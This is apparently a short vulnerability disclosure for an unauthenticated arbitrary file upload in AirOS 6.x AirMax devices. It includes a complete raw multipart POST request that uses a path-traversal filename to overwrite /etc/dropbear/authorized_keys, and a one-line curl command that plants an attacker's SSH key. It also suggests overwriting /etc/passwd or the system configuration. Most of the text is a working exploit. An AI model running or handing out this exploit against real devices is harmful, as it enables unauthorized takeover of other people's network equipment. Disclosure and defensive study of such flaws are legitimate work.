AirOS 6.x Arbitrary File Upload

`Vulnerability  
  
It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.  
Example  
  
Consider the following request:  
  
POST https://192.168.1.20/login.cgi HTTP/1.1  
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US  
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860  
Content-Length: 773  
User-Agent: Jakarta Commons-HttpClient/3.1  
Host: 192.168.1.20  
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US  
  
-----------------------------72971515916103336881230390860  
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"  
Content-Type: application/vnd.ms-publisher  
  
{{Your Public Key HERE}}  
-----------------------------72971515916103336881230390860--  
  
The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...  
Consequences  
  
It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.  
  
  
Reproducing  
  
With a simple command:  
curl -F "[email protected]/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k  
  
Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.  
`